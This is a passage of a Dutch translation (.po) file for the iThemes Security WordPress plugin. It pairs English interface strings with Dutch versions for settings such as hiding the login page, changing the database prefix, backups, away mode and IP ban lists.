WordPress Login Address Changed" msgstr "[%1$s] WordPress Login Adres gewijzigd" #. translators: 1: Site name, 2: Site address, 3: New login address #: core/modules/hide-backend/validator.php:79 msgid "The login address for %1$s (<code>%2$s</code>) has changed. The new login address is <code>%3$s</code>. You will be unable to use the old login address." msgstr "Het login adres van %1$s (<code>%2$s</code>) is gewijzigd. Het nieuwe login adres is <code>%3$s</code>. Je kan het oude login adres niet langer gebruiken." #: core/modules/hide-backend/validator.php:76 msgid "Dear Site Admin," msgstr "Beste site beheerder," #: core/modules/hide-backend/validator.php:57 msgid "The Hide Backend feature is now disabled. Your new login URL is <strong><code>%1$s</code></strong>. A reminder has also been sent to the notification email addresses set in iThemes Security's Global settings." msgstr "De Verberg Backend functie is nu gedeactiveerd. Je nieuwe login URL is <strong><code>%1$s</code></strong>. Een herinnering is verzonden naar het notificatie-e-mailadres zoals opgegeven in de Globale Instellingen van iThemes Security." #: core/modules/hide-backend/validator.php:54 msgid "The Hide Backend feature is now active. Your new login URL is <strong><code>%1$s</code></strong>. A reminder has also been sent to the notification email addresses set in iThemes Security's Global settings." msgstr "De Verberg Backend functie is nu geactiveerd. Je nieuwe login URL is <strong><code>%1$s</code></strong>. Een herinnering is verzonden naar het notificatie-e-mailadres zoals opgegeven in de Globale Instellingen van iThemes Security." #: core/modules/hide-backend/validator.php:51 msgid "The Hide Backend feature is now active. Your new login URL is <strong><code>%1$s</code></strong>. Please note this may be different than what you sent as the URL was sanitized to meet various requirements. A reminder has also been sent to the notification email addresses set in iThemes Security's Global settings." msgstr "De Verberg Backend functie is nu actief. Je nieuwe login URL is <strong><code>%1$s</code></strong>. Let op dat dit mogelijk anders is dan wat is toegezonden omdat de URL was gesanitized om verschillende vereisten. Een herinnering is verzonden naar het notificatie-e-mailadres zoals opgegeven in de Globale Instellingen van iThemes Security." #: core/modules/hide-backend/validator.php:43 msgid "The Login Slug cannot be \"%1$s\" as WordPress uses that slug." msgstr "De login slug kan niet \"%1$s\" zijn, omdat WordPress die slug gebruikt." #: core/modules/hide-backend/settings-page.php:82 msgid "Login URL: %s" msgstr "Login URL: %s" #: core/modules/hide-backend/settings-page.php:54 msgid "You must change <a href=\"%s\">WordPress permalinks</a> to a setting other than \"Plain\" in order to use this feature." msgstr "Je moet de <a href=\"%s\">WordPress permalinks</a> wijzigen naar een instelling anders dan \"Standaard\" om deze functie te kunnen gebruiken." #: core/modules/hide-backend/settings-page.php:10 msgid "Hide the login page by changing its name and preventing access to wp-login.php and wp-admin." msgstr "Verberg de login pagina door de naam te wijzigen en toegang tot wp-login.php en wp-admin te voorkomen." #: core/modules/global/validator.php:42 msgid "Blacklist Lockout Period" msgstr "Zwarte Lijst Uitsluitingsperiode" #: core/modules/global/settings-page.php:265 msgid "Each error message in iThemes Security has an associated error code that can help diagnose an issue. Changing this setting to \"Yes\" causes these codes to display. This setting should be left set to \"No\" unless iThemes Security support requests that you change it." msgstr "Elke foutmelding in iThemes Security heeft een foutcode die kan helpen een probleem te diagnostiseren. Het wijzigen van deze instelling naar \"Ja\" zorgt ervoor dat deze codes worden getoond. Deze instelling moet op \"Nee\" blijven staan tenzij iThemes Security ondersteuning je vraagt dit te wijzigen." #: core/modules/global/settings-page.php:262 #: core/modules/global/validator.php:33 msgid "Show Error Codes" msgstr "Toon foutcodes" #: core/modules/global/settings-page.php:241 msgid "The path on your server where the nginx config file is located." msgstr "Het pad op je server waar het nginx configuratiebestand zich bevindt." #: core/modules/global/settings-page.php:225 msgid "Turning this feature on will enable compatibility with <a href=\"%s\" target=\"_blank\" rel=\"noopener noreferrer\">InfiniteWP</a>. Do not turn it on unless you use the InfiniteWP service." msgstr "Deze functie activeren zal compatibiliteit met <a href=\"%s\" target=\"_blank\" rel=\"noopener noreferrer\">InfiniteWP</a> inschakelen. Activeer deze functie niet tenzij je de InfiniteWP server gebruikt." #: core/modules/global/settings-page.php:216 msgid "Restore Default Log File Path" msgstr "Herstel standaard pad voor logbestand" #: core/modules/global/settings-page.php:83 msgid "Whether or not iThemes Security should be allowed to write to wp-config.php and .htaccess automatically. If disabled you will need to manually place configuration options in those files." msgstr "Bepaal of iThemes Security automatisch naar wp-config.php en .htaccess mag schrijven. Indien gedeactiveerd, zal je handmatig de configuratie opties in deze bestanden moeten plaatsen." #: core/modules/global/settings-page.php:82 msgid "Allow iThemes Security to write to wp-config.php and .htaccess." msgstr "Sta iThemes Security toe te schrijven naar wp-config.php en .htaccess." #: core/modules/global/settings-page.php:72 msgid "No (default)" msgstr "Nee (standaard)" #: core/modules/global/settings-page.php:61 msgid "The following settings modify the behavior of many of the features offered by iThemes Security." msgstr "De volgende instellingen passen het gedrag van veel van de functies van iThemes Security aan." #: core/modules/global/settings-page.php:10 msgid "Configure basic settings that control how iThemes Security functions." msgstr "Stel basisinstellingen in die bepalen hoe iThemes Security functioneert." #: core/modules/global/active.php:24 msgid "See what's new" msgstr "Kijk wat er nieuw is" #: core/modules/global/active.php:23 msgid "New! The iThemes Security dashboard just got a new look." msgstr "Nieuw! Het iThemes Security dashboard heeft een nieuw uiterlijk." #: core/modules/file-writing/settings-page.php:52 msgid "The following rules need to be written to your <code>wp-config.php</code> file. Please make sure to keep the comments in place." msgstr "De volgende regels moeten worden toegevoegd aan je <code>wp-config.php</code> bestand. Zorg ervoor dat de commentaren ongewijzigd blijven." #: core/modules/file-writing/settings-page.php:50 msgid "There is nothing that needs to be written to your <code>wp-config.php</code> file." msgstr "Er hoeft niks toegevoegd te worden aan je <code>wp-config.php</code> bestand." #: core/modules/file-writing/settings-page.php:36 msgid "If you need to manually add the <code>wp-config.php</code> rules generated by iThemes Security to your server, you can find them here." msgstr "Als je de handmatig de door iThemes Security gegenereerde regels aan je <code>wp-config.php</code> moet toevoegen, kan je deze hier vinden." #: core/modules/file-writing/settings-page.php:23 msgid "The following rules need to be written to your server's config file. Please make sure to keep the comments in place." msgstr "De volgende regels moeten worden toegevoegd aan het configuratiebestand van je server. Zorg ervoor dat de commentaren ongewijzigd blijven." #: core/modules/file-writing/settings-page.php:21 msgid "There are no rules that need to be written." msgstr "Er zijn geen regels die moeten worden toegevoegd." #: core/modules/file-writing/settings-page.php:7 msgid "If you need to manually add the server config rules generated by iThemes Security to your server, you can find them here." msgstr "Als je de handmatig de door iThemes Security gegenereerde regels aan het configuratiebestand van je server moet toevoegen, kan je deze hier vinden." #: core/modules/file-writing/settings-page.php:6 msgid "Server Config Rules" msgstr "Regels voor serverconfiguratie" #: core/modules/file-change/settings-page.php:27 msgid "A scan is already in progress. Please check the <a href=\"%s\" target=\"_blank\" rel=\"noopener noreferrer\">logs page</a> at a later time for the results of the scan." msgstr "Er is al een scan gaande. Controleer de <a href=\"%s\" target=\"_blank\" rel=\"noopener noreferrer\">logboeken pagina</a> op een later moment voor de scanresultaten." #: core/modules/file-change/settings-page.php:10 msgid "Monitor the site for unexpected file changes." msgstr "Monitor de site voor onverwachte wijzigingen in bestanden." #: core/modules/file-change/admin.php:68 msgid "iThemes Security noticed file changes in your WordPress site. Please review the logs to make sure your system has not been compromised." msgstr "iThemes Security heeft gemerkt dat een of meer bestanden in je WordPress site zijn gewijzigd. Controleer de logboeken om er zeker van te zijn dat je systeem niet is gecompromitteerd." #: core/modules/database-prefix/utility.php:85 msgid "Could not rename table %1$s. You may have to rename the table manually." msgstr "Kon de tabel %1$s niet hernoemen. Je moet de tabel mogelijk handmatig hernoemen." #. translators: 1: New database table prefix #: core/modules/database-prefix/settings-page.php:77 msgid "The database table prefix was successfully changed to <code>%1$s</code>." msgstr "Het database tabel-voorvoegsel is succesvol gewijzigd naar <code>%1$s</code>." #: core/modules/database-prefix/settings-page.php:55 msgid "Select \"Yes\" and save the settings to change the database table prefix." msgstr "Kies \"Ja\" en sla de instellingen op om het database tabel-voorvoegsel te wijzigen." #: core/modules/database-prefix/settings-page.php:51 msgid "Change Prefix" msgstr "Wijzig voorvoegsel" #. translators: 1: WordPress database table prefix #: core/modules/database-prefix/settings-page.php:46 msgid "Your current database table prefix is <code>%1$s</code>." msgstr "Je huidige database tabel-voorvoegsel is <code>%1$s</code>." #: core/modules/database-prefix/settings-page.php:43 msgid "Your database is using the default table prefix <code>wp_</code>. You should change this." msgstr "Je database gebruikt het standaard tabel-voorvoegsel <code>wp_</code>. Je zou deze moeten wijzigen." #: core/modules/database-prefix/settings-page.php:19 msgid "By default, WordPress assigns the prefix <code>wp_</code> to all tables in the database where your content, users, and objects exist. For potential attackers, this means it is easier to write scripts that can target WordPress databases as all the important table names for 95% of sites are already known. Changing the <code>wp_</code> prefix makes it more difficult for tools that are trying to take advantage of vulnerabilities in other places to affect the database of your site. <strong>Before using this tool, we strongly recommend creating a backup of your database.</strong>" msgstr "Standaard voegt WordPress het voorvoegsel <code>wp_</code> toe aan alle tabellen in de database waar je inhoud, gebruikers en objecten staan. Voor potentiële aanvallers betekent dit dat het eenvoudiger is om scripts te schrijven die WordPress databases aanvallen omdat alle tabelnamen voor 95% van de sites al bekend zijn. Het wijzigen van het <code>wp_</code> voorvoegsel maakt het lastiger voor programma's die proberen gebruik te maken van kwetsbaarheden om de database van je site te beïnvloeden. <strong>Voordat je deze functie gebruikt, raden we met klem aan een back-up van je database te maken.</strong>" #: core/modules/database-prefix/settings-page.php:10 msgid "Change the database table prefix that WordPress uses." msgstr "Wijzig het database tabel-voorvoegsel dat WordPress gebruikt." #: core/modules/database-prefix/settings-page.php:9 msgid "Change Database Table Prefix" msgstr "Wijzig database tabel-voorvoegsel" #: core/modules/core/sidebar-widget-pro-upsell.php:19 msgid "+ more Pro-only features" msgstr "+ meer functies alleen in Pro" #: core/modules/core/sidebar-widget-pro-upsell.php:18 msgid "Private, ticketed support" msgstr "Privé support via tickets" #: core/modules/core/sidebar-widget-pro-upsell.php:17 msgid "Google reCAPTCHA integration" msgstr "Google reCAPTCHA integratie" #: core/modules/core/sidebar-widget-pro-upsell.php:16 msgid "Scheduled malware scanning" msgstr "Geplande malware scans" #: core/modules/core/sidebar-widget-pro-upsell.php:15 msgid "Two-factor authentication" msgstr "Twee-factor authenticatie" #: core/modules/core/sidebar-widget-pro-upsell.php:13 msgid "Add an extra layer of protection to your WordPress site with <a href=\"%s\">iThemes Security Pro</a>, including:" msgstr "Voeg een extra beschermingslaag aan je WordPress site toe met <a href=\"%s\">iThemes Security Pro</a>, inclusief:" #. translators: 1: Specific error details #: core/modules/content-directory/utility.php:93 msgid "Unable to update the <code>wp-config.php</code> file. No directory or config file changes have been made. The error that prevented the file from updating is as follows: %1$s" msgstr "Kon het <code>wp-config.php</code> bestand niet bijwerken. Er zijn geen wijzigingen uitgevoerd op mappen of het configuratiebestand. De fout die het bijwerken verhinderde is als volgt: %1$s" #: core/modules/content-directory/utility.php:27 msgid "The new directory name cannot be the same as the current directory name. Please supply a new directory name." msgstr "De nieuwe mapnaam kan niet hetzelfde zijn als de huidige mapnaam. Geen een nieuwe mapnaam op." #: core/modules/content-directory/utility.php:8 msgid "The content directory cannot be changed to a blank directory name." msgstr "De inhoudsmap kan niet worden gewijzigd naar een blanco mapnaam." #: core/modules/content-directory/settings-page.php:113 msgid "Unable to change the content directory back to <code>wp-content</code>. If the above error cannot be fixed, you may need to manually change the content directory. Instructions on how to change the content directory manually can be found <a href=\"https://codex.wordpress.org/Editing_wp-config.php#Moving_wp-content_folder\">here</a>." msgstr "Kon de inhoudsmap niet terug wijzigen naar <code>wp-content</code>. Als bovenstaande fout niet kan worden verholpen, moet je mogelijk handmatig de inhoudsmap wijzigen. Instructies voor het handmatig wijzigen van de inhoudsmap kan <a href=\"https://codex.wordpress.org/Editing_wp-config.php#Moving_wp-content_folder\">hier</a> worden gevonden." #: core/modules/content-directory/settings-page.php:100 msgid "Unable to change the content directory. If the above error cannot be fixed, you may need to manually change the content directory. Instructions on how to change the content directory manually can be found <a href=\"https://codex.wordpress.org/Editing_wp-config.php#Moving_wp-content_folder\">here</a>." msgstr "Kon de inhoudsmap niet wijzigen. Als bovenstaande fout niet kan worden verholpen, moet je mogelijk handmatig de inhoudsmap wijzigen. Instructies voor het handmatig wijzigen van de inhoudsmap kan <a href=\"https://codex.wordpress.org/Editing_wp-config.php#Moving_wp-content_folder\">hier</a> worden gevonden." #: core/modules/content-directory/settings-page.php:81 msgid "Supply a new directory name and save the settings to change the location of the <code>wp-content</code> directory. You may need to log in again after performing this operation." msgstr "Geef een nieuwe mapnaam op en sla de instellingen op om de locatie van de <code>wp-content</code> map te wijzigen. Je moet mogelijk opnieuw inloggen na het uitvoeren van deze actie." #: core/modules/content-directory/settings-page.php:77 msgid "New Directory Name" msgstr "Nieuwe Mapnaam" #: core/modules/content-directory/settings-page.php:64 msgid "Select \"Yes\" and save the settings to undo the content directory change." msgstr "Kies \"Ja\" en sla de instellingen op om de wijziging aan de inhoudmap ongedaan te maken." #: core/modules/content-directory/settings-page.php:49 #: core/modules/database-prefix/settings-page.php:38 #: core/modules/hide-backend/settings-page.php:62 #: core/modules/salts/settings-page.php:39 core/modules/salts/utilities.php:6 #: core/modules/salts/validator.php:37 msgid "The \"Write to Files\" setting is disabled in Global Settings. In order to use this feature, you must enable the \"Write to Files\" setting." msgstr "De \"Schrijf naar Bestanden\" instelling is gedeactiveerd in de Globale Instellingen. Om deze functie te gebruiken, moet je de \"Schrijf naar Bestanden\" instelling activeren." #: core/modules/content-directory/settings-page.php:46 msgid "The content directory was changed by something other than iThemes Security. No further actions are available on this page." msgstr "De inhoudsmap is gewijzigd door iets anders dan iThemes Security. Er zijn geen andere acties beschikbaar op deze pagina." #: core/modules/content-directory/settings-page.php:19 msgid "Change the location of the <code>wp-content</code> directory so that it uses a different name." msgstr "Wijzig de locatie van de <code>wp-content</code> map zodat deze een andere naam gebruikt." #: core/modules/content-directory/settings-page.php:10 msgid "Advanced feature to rename the wp-content directory to a different name." msgstr "Geavanceerde functie voor het hernoemen van de wp-content-map." #: core/modules/brute-force/settings-page.php:7 msgid "Protect your site against attackers that try to randomly guess login details to your site." msgstr "Bescherm je site tegen aanvallers die proberen willekeurige inloggegevens voor je site te raden." #. translators: 1: input name, 2: invalid host list #: core/modules/ban-users/validator.php:39 msgid "The following IP in %1$s is whitelisted and cannot be banned: %2$l" msgid_plural "The following IPs in %1$s are whitelisted and cannot be banned: %2$l" msgstr[0] "Het volgende IP-adres in %1$s is gewhitelist en kan niet worden verbannen: %2$l" msgstr[1] "De volgende IP-adressen in %1$s zijn gewhitelist en kunnen niet worden verbannen: %2$l" #. translators: 1: input name, 2: invalid host #: core/modules/ban-users/validator.php:25 msgid "The following host in %1$s matches your current IP and cannot be banned: %2$s" msgstr "De volgende host in %1$s komt overeen met je huidige IP-adres en kan niet worden verbannen: %2$s" #: core/modules/ban-users/settings-page.php:40 msgid "Enable Ban Lists" msgstr "Activeer verbanlijsten" #: core/modules/ban-users/settings-page.php:37 #: core/modules/ban-users/validator.php:10 msgid "Ban Lists" msgstr "Verbanlijsten" #: core/modules/ban-users/settings-page.php:10 msgid "Block specific IP addresses and user agents from accessing the site." msgstr "Blokkeer specifieke IP-adressen en user agents om toegang te krijgen tot de site." #: core/modules/backup/validator.php:28 #: core/modules/file-change/validator.php:30 msgid "Last Run" msgstr "Laatst gedraaid" #: core/modules/backup/settings-page.php:81 msgid "Press the button below to create a database backup using the saved settings." msgstr "Klik op onderstaande knop om een database back-up te maken met de opgeslagen instellingen." #: core/modules/backup/settings-page.php:53 msgid "The backup request returned an unexpected response. It returned a response of type <code>%1$s</code>." msgstr "Het back-up verzoek leverde een onverwacht antwoord op. Het antwoord is van het type <code>%1$s</code>." #: core/modules/backup/settings-page.php:23 msgid "Creating Backup..." msgstr "Back-up maken..." #: core/modules/backup/settings-page.php:10 msgid "Create backups of your site's database. The backups can be created manually and on a schedule." msgstr "Maak back-ups van de database van je site. De back-ups kunnen handmatig gemaakt worden of worden gepland." #: core/modules/backup/class-itsec-backup.php:86 msgid "Unable to create a backup at this time since a backup is currently being created. If you wish to create an additional backup, please wait a few minutes before trying again." msgstr "Kon op dit moment geen back-up maken omdat er al een back-up word gemaakt. Als je een extra back-up wil maken, wacht dan enkele minuten voordat je het opnieuw probeert." #: core/modules/backup/class-itsec-backup.php:101 msgid "Backup complete. The backup was saved locally." msgstr "Back-up voltooid. De back-up is lokaal opgeslagen." #: core/modules/backup/class-itsec-backup.php:99 msgid "Backup complete. The backup was sent to the selected email recipients." msgstr "Back-up voltooid. De back-up is verzonden naar de geselecteerde e-mailontvangers." #: core/modules/backup/class-itsec-backup.php:97 msgid "Backup complete. The backup was sent to the selected email recipients and was saved locally." msgstr "Back-up voltooid. De back-up is verzonden naar de geselecteerde e-mailontvangers en is lokaal opgeslagen." #. translators: 1: "Start Time", 2: "End Time" #: core/modules/away-mode/validator.php:128 msgid "The %1$s and %2$s settings restrict the current time and would result in locking you out immediately. Please select a %1$s and %2$s that does not restrict the current time." msgstr "Instellingen %1$s en %2$s beperken de huidige tijd en zouden als resultaat hebben dat je direct zou worden uitgesloten van de site. Kies een %1$s en %2$s die de huidige tijd niet beperken." #. translators: 1: "Start Time", 2: "End Time" #: core/modules/away-mode/validator.php:124 msgid "The %1$s and %2$s cannot be the same." msgstr "De %1$s en %2$s mogen niet hetzelfde zijn." #. translators: 1: "Start Date", 2: "Start Time" #: core/modules/away-mode/validator.php:118 msgid "The selected restriction date and time has already started and would result in locking you out immediately. Please select a %1$s and %2$s that has not already started." msgstr "De gekozen beperkingsdatum en -tijd is al begonnen. Dit zou als resultaat hebben dat je direct zou worden uitgesloten van de site. Selecteer een %1$s en %2$s die nog niet begonnen is." #. translators: 1: "End Date", 2: "End Time" #: core/modules/away-mode/validator.php:114 msgid "The selected restriction date and time has already ended. Please select an %1$s and %2$s that has not already ended." msgstr "De gekozen beperkingsdatum en -tijd is al verlopen. Selecteer een %1$s en %2$s die nog niet verlopen is." #. translators: 1: "Start Date", 2: "Start Time", 3: "End Date", 4: "End Time" #: core/modules/away-mode/validator.php:110 msgid "The %1$s and %2$s must be before the %3$s and %4$s." msgstr "De %1$s en %2$s moeten voor de %3$s en %4$s zijn." #. translators: 1: date input name, 2: time input name, 3: submitted date time #: core/modules/away-mode/validator.php:78 msgid "The %1$s and %2$s values resulted in a date and time of <code>%3$s</code>, which was unable to be processed properly. This could be an issue with PHP or a server configuration issue." msgstr "De %1$s en %2$s waardes resulteerde in een datum en tijd van <code>%3$s</code>, welke niet correct verwerkt kon worden. Dit kan een probleem zijn met PHP of een in de server configuratie." #: core/modules/away-mode/validator.php:31 msgid "End Timestamp" msgstr "Einde Tijdstempel" #: core/modules/away-mode/validator.php:30 msgid "Start Timestamp" msgstr "Start Tijdstempel" #: core/modules/away-mode/validator.php:28 msgid "Override End" msgstr "Overschrijf Einde" #: core/modules/away-mode/validator.php:27 msgid "Override Type" msgstr "Overschrijvingstype" #. translators: 1: start timestamp, 2: end timestamp #: core/modules/away-mode/utilities.php:94 msgid "The supplied data is invalid. The supplied start (%1$s) is after the supplied end (%2$s)." msgstr "De opgegeven data is ongeldig. De opgegeven start (%1$s) is na het opgegeven einde (%2$s)." #: core/modules/away-mode/settings-page.php:167 msgid "Time when the admin dashboard should become available again." msgstr "Tijd wanneer het beheersdashboard weer beschikbaar moet zijn." #: core/modules/away-mode/settings-page.php:156 msgid "Date when the admin dashboard should become available again." msgstr "Datum wanneer het beheersdashboard weer beschikbaar moet zijn." #: core/modules/away-mode/settings-page.php:148 msgid "Time when the admin dashboard should become unavailable." msgstr "Tijd wanneer het beheersdashboard onbeschikbaar moet worden." #: core/modules/away-mode/settings-page.php:136 msgid "Date when the admin dashboard should become unavailable." msgstr "Datum wanneer het beheersdashboard onbeschikbaar moet worden." #. translators: 1: date, 2: time #: core/modules/away-mode/settings-page.php:113 msgctxt "Date and time format" msgid "%1$s \\a\\t %2$s" msgstr "%1$s \\o\\m %2$s" #: core/modules/away-mode/settings-page.php:10 msgid "Disable access to the WordPress Dashboard on a schedule." msgstr "Schakel toegang tot het WordPress Dashboard uit volgens een planning." #: core/modules/away-mode/sync-verbs/itsec-override-away-mode.php:62 msgid "iThemes Security received a request to modify the override behavior of the Away Mode module. However, the request is invalid as the required \"intention\" argument is set to an unrecognized value: \"\"." msgstr "iThemes Security heeft een aanvraag ontvangen om het gedrag van de Afwezigheidsmodus module te overschrijven. De aanvraag is echter ongeldig omdat het verplichte \"intentie\" argument van een onherkende waarde is: \"\"." #: core/modules/away-mode/sync-verbs/itsec-override-away-mode.php:58 msgid "iThemes Security received a request to modify the override behavior of the Away Mode module. However, the request is invalid as the required \"intention\" argument is missing." msgstr "iThemes Security heeft een aanvraag ontvangen om het gedrag van de Afwezig Modus te overschrijven. De aanvraag is echter ongeldig omdat het verplichte \"intentie\" argument ontbreekt." #: core/modules/away-mode/sync-verbs/itsec-override-away-mode.php:33 msgid "iThemes Security received a request to modify the override behavior of the Away Mode module. However, the request is invalid as the module is configured for a one-time lockout that occurred in the past. Allowing an activate override would result in an unending Away Mode lockout." msgstr "iThemes Security heeft een aanvraag ontvangen om het gedrag van de Afwezigheidsmodus module te overschrijven. De aanvraag is echter ongeldig omdat de module is ingesteld voor een eenmalige blokkade welke plaatsvond in het verleden. Het toestaan en activeren van de overschrijving zou resulteren in een oneindige Afwezigheidsmodus blokkade." #: core/modules/admin-user/validator.php:49 msgid "The user was unable to be successfully updated. This could be due to a plugin or server configuration conflict." msgstr "De gebruiker kon niet worden bijgewerkt. Dit kan komen door een plugin of conflict in de serverconfiguratie." #: core/modules/admin-user/validator.php:43 msgid "The user was successfully updated." msgstr "De gebruiker is succesvol bijgewerkt." #: core/modules/admin-user/settings-page.php:27 msgid "<span>Warning:</span> The changes made by this tool could cause compatibility issues with some plugins, themes, or customizations. Ensure that you <a href=\"%s\">create a database backup</a> before using this tool." msgstr "<span>Waarschuwing:</span> De wijzigingen gemaakt met deze functie kunnen leiden tot compatibiliteitsproblemen met sommige plugins, thema's of aanpassingen. Wees er zeker van dat je <a href=\"%s\">een database back-up maakt</a> voordat je deze functie gebruikt." #: core/modules/admin-user/settings-page.php:10 msgid "An advanced tool that removes users with a username of \"admin\" or a user ID of \"1\"." msgstr "Een geavanceerde functie die gebruikers met de gebruikersnaam \"admin\" of een gebruikers-ID van \"1\" verwijdert." #: core/modules/404-detection/settings-page.php:7 msgid "Automatically block users snooping around for pages to exploit." msgstr "Blokkeer automatisch gebruikers die rondneuzen voor pagina's om te misbruiken." #. translators: 1: sanitize type, 2: input name #: core/lib/validator.php:385 msgid "An invalid sanitize type of \"%1$s\" was received for the %2$s input." msgstr "Een ongeldig sanitize type van \"%1$s\" is ontvangen voor de %2$s input." #: core/lib/validator.php:380 msgid "The following extension in %1$s is invalid: %2$l" msgid_plural "The following extensions in %1$s are invalid: %2$l" msgstr[0] "De volgende extensie in %1$s is ongeldig: %2$l" msgstr[1] "De volgende extensies in %1$s zijn ongeldig: %2$l" #: core/lib/validator.php:360 msgid "The following IP in %1$s is invalid: %2$l" msgid_plural "The following IPs in %1$s are invalid: %2$l" msgstr[0] "Het volgende IP-adres in %1$s is ongeldig: %2$l" msgstr[1] "De volgende IP-adressen in %1$s zijn ongeldig: %2$l" #: core/lib/validator.php:328 msgid "The following email in %1$s is invalid: %2$l" msgid_plural "The following emails in %1$s are invalid: %2$l" msgstr[0] "Het volgende e-mailadres in %1$s is ongeldig: %2$l" msgstr[1] "De volgende e-mailadressen in %1$s zijn ongeldig: %2$l" #: core/lib/validator.php:297 msgid "The valid value for %1$s is: %2$l." msgid_plural "The valid values for %1$s are: %2$l." msgstr[0] "De geldig waarde voor %1$s is: %2$l." msgstr[1] "De geldig waardes voor %1$s zijn: %2$l." #: core/lib/validator.php:273 core/lib/validator.php:294 msgid "The following entry in %1$s is invalid: %2$l" msgid_plural "The following entries in %1$s are invalid: %2$l" msgstr[0] "De volgende invoer in %1$s is ongeldig: %2$l." msgstr[1] "De volgende invoeren in %1$s zijn ongeldig: %2$l." #: core/lib/validator.php:249 core/lib/validator.php:304 #: core/lib/validator.php:310 core/lib/validator.php:335 #: core/lib/validator.php:367 msgid "The %1$s value must be a string with each entry separated by a new line." msgstr "De %1$s waarde moet een string zijn met elke invoer gescheiden door een nieuwe regel." #: core/lib/validator.php:241 msgid "The file path supplied in %1$s is not writable. Please supply a file path that can be written to." msgstr "Het in %1$s opgegeven bestandspad is niet schrijfbaar. Biedt een bestandspad aan waarnaar geschreven kan worden." #: core/lib/validator.php:238 msgid "The file path supplied in %1$s was successfully created, but it cannot be updated. Please supply a file path that can be written to." msgstr "Het in %1$s opgegeven bestandspad is succesvol gemaakt. maar kan niet worden bijgewerkt. Biedt een bestandspad aan waarnaar geschreven kan worden." #: core/lib/validator.php:236 msgid "The file path supplied in %1$s could not be created. Please supply a file path that can be written to." msgstr "Het in %1$s opgegeven bestandspad kon niet worden gemaakt. maar kan niet worden bijgewerkt. Biedt een bestandspad aan waarnaar geschreven kan worden." #: core/lib/validator.php:231 msgctxt "%1$s is the input name. %2$s is the error message." msgid "The file path supplied in %1$s cannot be used as the parent directory cannot be created. %2$s" msgstr "Het in %1$s opgegeven bestandspad kan niet worden gebruikt omdat de hoofdmap niet kan worden gemaakt. %2$s" #: core/lib/validator.php:226 msgid "The file path supplied in %1$s cannot be used as it already exists but is not a file. Please supply a valid file path." msgstr "Het opgegeven bestandspad in %1$s kan niet worden gebruikt, omdat het al bestaat maar geen bestand is. Biedt een geldig bestandspad aan." #: core/lib/validator.php:212 msgid "The directory supplied in %1$s is not writable. Please select a directory that can be written to." msgstr "De in %1$s opgegeven map is niet schrijfbaar. Selecteer een map die schrijfbaar is." #: core/lib/validator.php:207 msgctxt "%1$s is the input name. %2$s is the error message." msgid "The directory supplied in %1$s cannot be used as a valid directory. %2$s" msgstr "De in %1$s opgegeven map kan niet worden gebruikt als een geldige map. %2$s" #: core/lib/validator.php:197 core/lib/validator.php:221 msgid "The %1$s value must be a string." msgstr "De %1$s waarde moet een string zijn." #: core/lib/validator.php:193 msgid "The %1$s value must be a valid date in the format of YYYY-MM-DD." msgstr "De %1$s waarde moet een geldig datum zijn in het formaat YYYY-MM-DD." #: core/lib/validator.php:190 msgid "The %1$s value must be a valid date." msgstr "De %1$s waarde moet een geldige datum zijn." #: core/lib/validator.php:177 msgid "The %1$s value is not a valid username." msgstr "De %1$s waarde is geen geldige gebruikersnaam." #: core/lib/validator.php:171 msgid "The %1$s value must be a valid email address." msgstr "De %1$s waarde moet een geldig e-mailadres zijn." #: core/lib/validator.php:165 msgid "The %1$s value must be a positive integer." msgstr "De %1$s waarde moet een positief heel getal zijn." #: core/lib/validator.php:158 msgid "The %1$s value must be an integer." msgstr "De %1$s waarde moet een heel getal zijn." #: core/lib/validator.php:127 core/lib/validator.php:135 msgid "The %1$s value cannot be empty." msgstr "De %1$s waarde mag niet leeg zijn." #: core/lib/validator.php:111 msgid "A validation check for %1$s failed. The %2$s value is missing. This could be due to a problem with the iThemes Security installation or an invalid modification. Please reinstall iThemes Security and try again." msgstr "Een validatie-controle voor %1$s is mislukt. De %2$s waarde ontbreekt. Dit kan komen door een probleem met de iThemes Security installatie of een ongeldige aanpassing. Herinstalleer iThemes Security en probeer het nogmaals." #: core/lib/validator.php:85 msgid "A validation function for %1$s received data that does not match the expected data type for the %2$s entry. A data type of %3$s was expected, but a data type of %4$s was received." msgstr "Een validatiefunctie voor %1$s ontving data die niet overeenkomt met het verwachtte data type voor de %2$s invoer. Een data type van %3$s werd verwacht, maar een data type van %4$s is ontvangen." #: core/lib/validator.php:63 msgid "A validation function for %1$s received data that has an entry for %2$s when no such entry exists." msgstr "Een validatiefunctie voor %1$s ontving data die die invoer bevat voor %2$s terwijl deze invoer niet bestaat." #: core/lib/validator.php:56 msgid "A validation function for %1$s received data that did not have the required entry for %2$s." msgstr "Een validatiefunctie voor %1$s ontving data die niet de benodigde invoer voor %2$s had." #: core/lib/settings.php:56 msgid "The data validator for %1$s is missing. Data for the module cannot be saved without the validator. This error could indicate a bad install of iThemes Security. Please remove the plugin and reinstall it. If this message persists, please contact support and send them this error message." msgstr "De data validator voor %1$s ontbreekt. Data voor de module kan niet worden opgeslagen zonder de validator. Deze fout kan veroorzaakt zijn door een verkeerde installatie van iThemes Security. Verwijder de plugin en herinstalleer deze. Als deze melding terug blijft komen, neem dan contact op met ondersteuning en stuur hen deze foutmelding." #: core/lib/class-itsec-lib-directory.php:257 msgid "The directory %s could not be protected from file listing as the directory does not exist." msgstr "De map %s kon niet worden beschermd tegen het tonen van bestanden, omdat de map niet bestaat." #: core/lib/class-itsec-lib-directory.php:235 msgid "This is a test file generated by iThemes Security. It can be removed." msgstr "Dit is een testbestand gegenereerd door iThemes Security. Dit kan worden verwijderd." #: core/lib/class-itsec-lib-config-file.php:454 msgid "The \"Write to Files\" setting is disabled. Manual configuration for the <code>%s</code> file can be found on the Security > Settings page in the Advanced section." msgstr "De \"Schrijf naar Bestanden\" instelling is gedeactiveerd. Handmatige configuratie voor het <code>%s</code> bestand kan worden gevonden op de Beveiliging > Instellingen pagina in de sectie Geavanceerd." #. translators: 1: variable type #: core/response.php:337 msgid "Unknown error type received: %1$s." msgstr "Onbekend fouttype ontvangen: %1$s." #. translators: 1: error message, 2: error code #: core/response.php:316 msgid "%1$s <span class=\"itsec-error-code\">(%2$s)</span>" msgstr "%1$s <span class=\"itsec-error-code\">(%2$s)</span>" #: core/modules.php:461 core/modules.php:494 msgid "The %s module is a Core module and cannot be activated or deactivated." msgstr "De %s module is een Kern module en kan niet worden geactiveerd of gedeactiveerd." #: core/modules.php:271 msgid "Unable to find a valid settings object for %s. Setting was unable to be saved." msgstr "Kon geen geldig instellingen object vinden voor %s. De instelling kon niet worden opgeslagen." #: core/modules.php:245 msgid "Unable to find a valid settings object for 